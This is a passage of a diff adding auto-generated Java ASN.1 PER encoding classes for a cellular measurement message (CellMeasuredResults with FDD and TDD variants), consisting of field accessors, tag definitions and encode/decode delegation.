+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_CellMeasuredResults != null) {
+ return ImmutableList.of(TAG_CellMeasuredResults);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new CellMeasuredResults from encoded stream.
+ */
+ public static CellMeasuredResults fromPerUnaligned(byte[] encodedBytes) {
+ CellMeasuredResults result = new CellMeasuredResults();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new CellMeasuredResults from encoded stream.
+ */
+ public static CellMeasuredResults fromPerAligned(byte[] encodedBytes) {
+ CellMeasuredResults result = new CellMeasuredResults();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellMeasuredResults.cellIdentityType cellIdentity_;
+ public CellMeasuredResults.cellIdentityType getCellIdentity() {
+ return cellIdentity_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellMeasuredResults.cellIdentityType
+ */
+ public void setCellIdentity(Asn1Object value) {
+ this.cellIdentity_ = (CellMeasuredResults.cellIdentityType) value;
+ }
+ public CellMeasuredResults.cellIdentityType setCellIdentityToNewInstance() {
+ cellIdentity_ = new CellMeasuredResults.cellIdentityType();
+ return cellIdentity_;
+ }
+
+ private CellMeasuredResults.modeSpecificInfoType modeSpecificInfo_;
+ public CellMeasuredResults.modeSpecificInfoType getModeSpecificInfo() {
+ return modeSpecificInfo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellMeasuredResults.modeSpecificInfoType
+ */
+ public void setModeSpecificInfo(Asn1Object value) {
+ this.modeSpecificInfo_ = (CellMeasuredResults.modeSpecificInfoType) value;
+ }
+ public CellMeasuredResults.modeSpecificInfoType setModeSpecificInfoToNewInstance() {
+ modeSpecificInfo_ = new CellMeasuredResults.modeSpecificInfoType();
+ return modeSpecificInfo_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCellIdentity() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCellIdentity();
+ }
+
+ @Override public void setToNewInstance() {
+ setCellIdentityToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellMeasuredResults.cellIdentityType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellIdentity : "
+ + getCellIdentity().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getModeSpecificInfo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getModeSpecificInfo();
+ }
+
+ @Override public void setToNewInstance() {
+ setModeSpecificInfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellMeasuredResults.modeSpecificInfoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "modeSpecificInfo : "
+ + getModeSpecificInfo().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cellIdentityType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cellIdentityType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cellIdentityType() {
+ super();
+ setValueRange("0", "268435455");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cellIdentityType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cellIdentityType != null) {
+ return ImmutableList.of(TAG_cellIdentityType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cellIdentityType from encoded stream.
+ */
+ public static cellIdentityType fromPerUnaligned(byte[] encodedBytes) {
+ cellIdentityType result = new cellIdentityType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cellIdentityType from encoded stream.
+ */
+ public static cellIdentityType fromPerAligned(byte[] encodedBytes) {
+ cellIdentityType result = new cellIdentityType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cellIdentityType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class modeSpecificInfoType extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_modeSpecificInfoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "modeSpecificInfoType: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public modeSpecificInfoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_modeSpecificInfoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_modeSpecificInfoType != null) {
+ return ImmutableList.of(TAG_modeSpecificInfoType);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerUnaligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new modeSpecificInfoType from encoded stream.
+ */
+ public static modeSpecificInfoType fromPerAligned(byte[] encodedBytes) {
+ modeSpecificInfoType result = new modeSpecificInfoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $Fdd(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.fddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.fddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Tdd(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new modeSpecificInfoType.tddType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? modeSpecificInfoType.tddType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class fddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_fddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public fddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_fddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_fddType != null) {
+ return ImmutableList.of(TAG_fddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerUnaligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new fddType from encoded stream.
+ */
+ public static fddType fromPerAligned(byte[] encodedBytes) {
+ fddType result = new fddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PrimaryCPICH_Info primaryCPICH_Info_;
+ public PrimaryCPICH_Info getPrimaryCPICH_Info() {
+ return primaryCPICH_Info_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrimaryCPICH_Info
+ */
+ public void setPrimaryCPICH_Info(Asn1Object value) {
+ this.primaryCPICH_Info_ = (PrimaryCPICH_Info) value;
+ }
+ public PrimaryCPICH_Info setPrimaryCPICH_InfoToNewInstance() {
+ primaryCPICH_Info_ = new PrimaryCPICH_Info();
+ return primaryCPICH_Info_;
+ }
+
+ private CPICH_Ec_N0 cpich_Ec_N0_;
+ public CPICH_Ec_N0 getCpich_Ec_N0() {
+ return cpich_Ec_N0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CPICH_Ec_N0
+ */
+ public void setCpich_Ec_N0(Asn1Object value) {
+ this.cpich_Ec_N0_ = (CPICH_Ec_N0) value;
+ }
+ public CPICH_Ec_N0 setCpich_Ec_N0ToNewInstance() {
+ cpich_Ec_N0_ = new CPICH_Ec_N0();
+ return cpich_Ec_N0_;
+ }
+
+ private CPICH_RSCP cpich_RSCP_;
+ public CPICH_RSCP getCpich_RSCP() {
+ return cpich_RSCP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CPICH_RSCP
+ */
+ public void setCpich_RSCP(Asn1Object value) {
+ this.cpich_RSCP_ = (CPICH_RSCP) value;
+ }
+ public CPICH_RSCP setCpich_RSCPToNewInstance() {
+ cpich_RSCP_ = new CPICH_RSCP();
+ return cpich_RSCP_;
+ }
+
+ private Pathloss pathloss_;
+ public Pathloss getPathloss() {
+ return pathloss_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Pathloss
+ */
+ public void setPathloss(Asn1Object value) {
+ this.pathloss_ = (Pathloss) value;
+ }
+ public Pathloss setPathlossToNewInstance() {
+ pathloss_ = new Pathloss();
+ return pathloss_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPrimaryCPICH_Info() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPrimaryCPICH_Info();
+ }
+
+ @Override public void setToNewInstance() {
+ setPrimaryCPICH_InfoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrimaryCPICH_Info.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "primaryCPICH_Info : "
+ + getPrimaryCPICH_Info().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCpich_Ec_N0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCpich_Ec_N0();
+ }
+
+ @Override public void setToNewInstance() {
+ setCpich_Ec_N0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CPICH_Ec_N0.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cpich_Ec_N0 : "
+ + getCpich_Ec_N0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getCpich_RSCP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCpich_RSCP();
+ }
+
+ @Override public void setToNewInstance() {
+ setCpich_RSCPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CPICH_RSCP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cpich_RSCP : "
+ + getCpich_RSCP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPathloss() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPathloss();
+ }
+
+ @Override public void setToNewInstance() {
+ setPathlossToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Pathloss.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pathloss : "
+ + getPathloss().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("fddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isFdd() {
+ return !hasExtensionValue() && Select.$Fdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isFdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.fddType getFdd() {
+ if (!isFdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Fdd");
+ }
+ return (modeSpecificInfoType.fddType) element;
+ }
+
+ public void setFdd(modeSpecificInfoType.fddType selected) {
+ selection = Select.$Fdd;
+ extension = false;
+ element = selected;
+ }
+
+ public modeSpecificInfoType.fddType setFddToNewInstance() {
+ modeSpecificInfoType.fddType element = new modeSpecificInfoType.fddType();
+ setFdd(element);
+ return element;
+ }
+
+/*
+ */
+
+
+//
+
+/**
+*/
+public static class tddType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_tddType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tddType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tddType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tddType != null) {
+ return ImmutableList.of(TAG_tddType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerUnaligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tddType from encoded stream.
+ */
+ public static tddType fromPerAligned(byte[] encodedBytes) {
+ tddType result = new tddType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private CellParametersID cellParametersID_;
+ public CellParametersID getCellParametersID() {
+ return cellParametersID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a CellParametersID
+ */
+ public void setCellParametersID(Asn1Object value) {
+ this.cellParametersID_ = (CellParametersID) value;
+ }
+ public CellParametersID setCellParametersIDToNewInstance() {
+ cellParametersID_ = new CellParametersID();
+ return cellParametersID_;
+ }
+
+ private TGSN proposedTGSN_;
+ public TGSN getProposedTGSN() {
+ return proposedTGSN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TGSN
+ */
+ public void setProposedTGSN(Asn1Object value) {
+ this.proposedTGSN_ = (TGSN) value;
+ }
+ public TGSN setProposedTGSNToNewInstance() {
+ proposedTGSN_ = new TGSN();
+ return proposedTGSN_;
+ }
+
+ private PrimaryCCPCH_RSCP primaryCCPCH_RSCP_;
+ public PrimaryCCPCH_RSCP getPrimaryCCPCH_RSCP() {
+ return primaryCCPCH_RSCP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PrimaryCCPCH_RSCP
+ */
+ public void setPrimaryCCPCH_RSCP(Asn1Object value) {
+ this.primaryCCPCH_RSCP_ = (PrimaryCCPCH_RSCP) value;
+ }
+ public PrimaryCCPCH_RSCP setPrimaryCCPCH_RSCPToNewInstance() {
+ primaryCCPCH_RSCP_ = new PrimaryCCPCH_RSCP();
+ return primaryCCPCH_RSCP_;
+ }
+
+ private Pathloss pathloss_;
+ public Pathloss getPathloss() {
+ return pathloss_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Pathloss
+ */
+ public void setPathloss(Asn1Object value) {
+ this.pathloss_ = (Pathloss) value;
+ }
+ public Pathloss setPathlossToNewInstance() {
+ pathloss_ = new Pathloss();
+ return pathloss_;
+ }
+
+ private TimeslotISCP_List timeslotISCP_List_;
+ public TimeslotISCP_List getTimeslotISCP_List() {
+ return timeslotISCP_List_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeslotISCP_List
+ */
+ public void setTimeslotISCP_List(Asn1Object value) {
+ this.timeslotISCP_List_ = (TimeslotISCP_List) value;
+ }
+ public TimeslotISCP_List setTimeslotISCP_ListToNewInstance() {
+ timeslotISCP_List_ = new TimeslotISCP_List();
+ return timeslotISCP_List_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getCellParametersID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCellParametersID();
+ }
+
+ @Override public void setToNewInstance() {
+ setCellParametersIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellParametersID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cellParametersID : "
+ + getCellParametersID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getProposedTGSN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getProposedTGSN();
+ }
+
+ @Override public void setToNewInstance() {
+ setProposedTGSNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TGSN.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "proposedTGSN : "
+ + getProposedTGSN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getPrimaryCCPCH_RSCP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPrimaryCCPCH_RSCP();
+ }
+
+ @Override public void setToNewInstance() {
+ setPrimaryCCPCH_RSCPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PrimaryCCPCH_RSCP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "primaryCCPCH_RSCP : "
+ + getPrimaryCCPCH_RSCP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getPathloss() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPathloss();
+ }
+
+ @Override public void setToNewInstance() {
+ setPathlossToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Pathloss.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pathloss : "
+ + getPathloss().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeslotISCP_List() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeslotISCP_List();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeslotISCP_ListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeslotISCP_List.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeslotISCP_List : "
+ + getTimeslotISCP_List().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("tddType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
+
+
+ public boolean isTdd() {
+ return !hasExtensionValue() && Select.$Tdd == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isTdd}.
+ */
+ @SuppressWarnings("unchecked")
+ public modeSpecificInfoType.tddType getTdd() {
+ if (!isTdd()) {
+ throw new IllegalStateException("modeSpecificInfoType value not a Tdd");
+ }
+ return (modeSpecificInfoType.tddType) element;
+ }
+
+ public void setTdd(modeSpecificInfoType.tddType selected) {
